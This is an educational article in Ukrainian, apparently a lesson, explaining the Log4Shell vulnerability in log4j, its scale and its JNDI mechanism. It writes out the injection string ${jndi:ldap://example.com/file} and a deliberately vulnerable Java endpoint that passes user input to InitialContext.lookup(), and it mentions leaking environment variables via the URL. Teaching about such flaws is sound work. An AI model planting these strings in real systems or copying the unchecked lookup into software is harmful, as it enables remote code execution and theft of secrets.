1. Скандал
І, звісно ж, не можна не розповісти про історію, яка сталася наприкінці 2021 року.
Агентство з кібербезпеки та захисту інфраструктури США (CISA) заявило, що проблема Log4Shell
є однією з найсерйозніших вразливостей в історії. Так, йдеться про нашу улюблену бібліотеку log4j
.
Наша затишна маленька бібліотека log4j
– і найсерйозніша вразливість в історії? Заінтригував? Тоді слухай.
2. Масштаб катастрофи
Про виявлення критичної вразливості Log4Shell
(код CVE-2021-44228) повідомили 9 грудня 2021 фахівці з безпеки компанії Lunasec. Спеціалісти з Java-спільноти Apache Security Team перевірили цю інформацію та опублікували список вразливих Java-бібліотек. Список був просто величезним.
Якщо Java-проєкт використовував бібліотеку log4j
, його можна було досить легко зламати. А зважаючи на те, що майже весь серверний софт пишеться на Java
і log4j
– найпопулярніший java-логгер, згідно з даними спеціалістів з безпеки, вразливість зачепила 93% корпоративних хмарних середовищ. Включно з Amazon AWS, Microsoft Azure, Google Cloud, Cloudflare, iCloud, Minecraft, Steam та багатьма іншими.
Ба більше, вразливість торкнулася не лише серверного софту, але й багатьох Java-застосунків, а також виробників апаратного забезпечення. Наприклад, Intel опублікувала список з 32 програм, схильних до зламу: SDK, системи обслуговування серверів, Linux-інструменти.
Також компанія Nvidia виклала звіт про проблеми з безпекою зі згадкою серверів DGX та інструментів NetQ. Ряд оновлень терміново випустили Apple та Microsoft.
Грубо кажучи, один рядок в адресному рядку браузера у школяра кладе сервер, якщо цей рядок з'їсть логер (на багатьох серверах записуються в логі всі HTTP-запити
).
Після аналізу коду виявилось, що вразливість у бібліотеці сиділа з 2013 року, але помітили її лише зараз. А коли почали копати глибше, виявили прірву, дна якої не видно взагалі.
3. Найсерйозніша вразливість в історії
Ще в грудні 2021 року Агентство з кібербезпеки та захисту інфраструктури США (CISA) заявило, що Log4Shell
є однією з найсерйозніших вразливостей в історії.
Багато інших фахівців висловлюють аналогічну думку. Про цю вразливість знають усі, і хакери різного віку вже використовують її для крадіжок персональних даних та інших видів атак на різні організації. У майбутньому на нас чекає хвиля масових зламів та витоків даних.
Масштаб катастрофи можна оцінити навіть за тим фактом, що існує окремий сайт із мемами про Log4j, і щодня там з'являються нові картинки.
Ця проблема із нами надовго. Діра в безпеці в мільйонах, якщо не сотнях мільйонів комп'ютерних систем. Весь старий софт потрібно оновити та як мінімум замінити там цю бібліотеку. Адже здебільшого ніхто навіть не знає, які бібліотеки та яких версій використовуються в їхньому софті.
Загалом, чекаємо на різке зростання зарплат фахівців з комп'ютерної безпеки.
4. Суть вразливості
Щоб зрозуміти суть вразливості, потрібно зрозуміти, як влаштовані великі серверні системи. Найчастіше такі серверні програми розділені на різні сервіси, що знаходяться на різних серверах. І взаємодіяти їм допомагає сервіс JNDI.
Java Naming and Directory Interface (JNDI) – це Java API
, щоб шукати об'єкти/сервіси за іменем. Ці об'єкти можуть зберігатися в різних службах іменування або каталогах, таких як Remote Method Invocation (RMI), Common Object Request Broker Architecture (CORBA), Lightweight Directory Access Protocol (LDAP) або Domain Name Service (DNS).
Працювати з ним дуже легко – це простий Java API
, який приймає лише один рядковий параметр – ім'я сервісу. З його допомогою можна звернутися до будь-якого сервісу та попросити його щось зробити та/або надіслати якісь дані. Наприклад, рядок ${jndi:ldap://example.com/file}
завантажить дані з цього URL
, що вказано в рядку.
Якщо параметр надходить із ненадійного джерела, це може призвести до віддаленого завантаження класів і виконання стороннього коду. Саме це відбувається з Log4j
. Зловмисник просто направляє Java-застосунок жертви на шкідливий rmi/ldap/corba-сервер
та отримує у відповідь шкідливий об'єкт.
Технічно проблема тут не в самій log4j
бібліотеці, а в налаштуваннях безпеки під час роботи з JNDI-сервісом
. Завжди потрібно перевіряти, який рядок ми передаємо до InitialContext.lookup()
.
Приклад вразливої JNDI-програми
:
@RequestMapping("/lookup")
@Example(uri = {"/lookup?name=java:comp/env"})
public Object lookup(@RequestParam String name) throws Exception{
return new javax.naming.InitialContext().lookup(name);
}
5. Дуже розумна бібліотека
І до чого тут log4j
, спитаєте ви? Вся річ у тому, що її розробники захотіли зробити роботу з нею максимально комфортною та додали до неї розумне логування. Ось як воно працює:
Почалося з того, що повідомлення лога дозволяли встановити шаблон, до якого виконувалася підстановка даних. Нариклад:
log.debug(“User {user} has {count} friends”, user, count);
Старий варіант без підстановки даних виглядав так:
log.debug( “User “+user +” has “+ count +” friends”);
У 2013 році до бібліотеки додали ще й підстановку розумних префіксів, вказаних шаблоном виду ${prefix:name}
. Наприклад, рядок “${java:version}”
при виведенні буде перетворено на «Java version 1.7.0_67»
. Ой, як зручно.
Серед розпізнаних виразів є ${jndi:<lookup>}
, де після протоколу jndi можна вказати пошук через LDAP
: можна зробити запит на довільну URL-адресу
і завантажити його як дані об'єкта Java
.
Це стандартна проблема підходу всієї JDK
: вона автоматично десеріалізує об'єкт, посилання на який можна поставити у вигляді урла. Водночас із віддаленого ресурсу завантажуються не лише дані об'єкта, а й код його класу.
Злам виглядає так:
- Завантажується файл зі шкідливим кодом
- Файл містить серіалізований
Java об'єкт
(та його клас) - Клас завантажується
Java-машиною
- Створюється об'єкт шкідливого класу
- Викликається конструктор об'єкту
- І конструктор, і статична ініціалізація дозволяє виконати код шкідливого класу
Якщо у рядку, який логує log4j
зустрінеться щось типу ${jndi:ldap://example.com/file}
, то log4j
завантажить дані з цієї URL-адреси
при підключенні до інтернету. При введені логованого рядка зловмисник може завантажити і виконати шкідливий код, розміщений на загальнодоступній URL-адресі
.
Навіть якщо виконання даних вимкнено, зловмисник може отримати дані, такі як секретні змінні середовища, за рахунок їх розміщення в URL-адресі
, в якій їх буде замінено та відправлено на сервер зловмисника.
Хороша новина: проблему у бібліотеці швидко виправили.
Погана новина: мільйони серверів продовжують працювати по всьому світу зі старою версією цієї бібліотеки.
ПЕРЕЙДІТЬ В ПОВНУ ВЕРСІЮ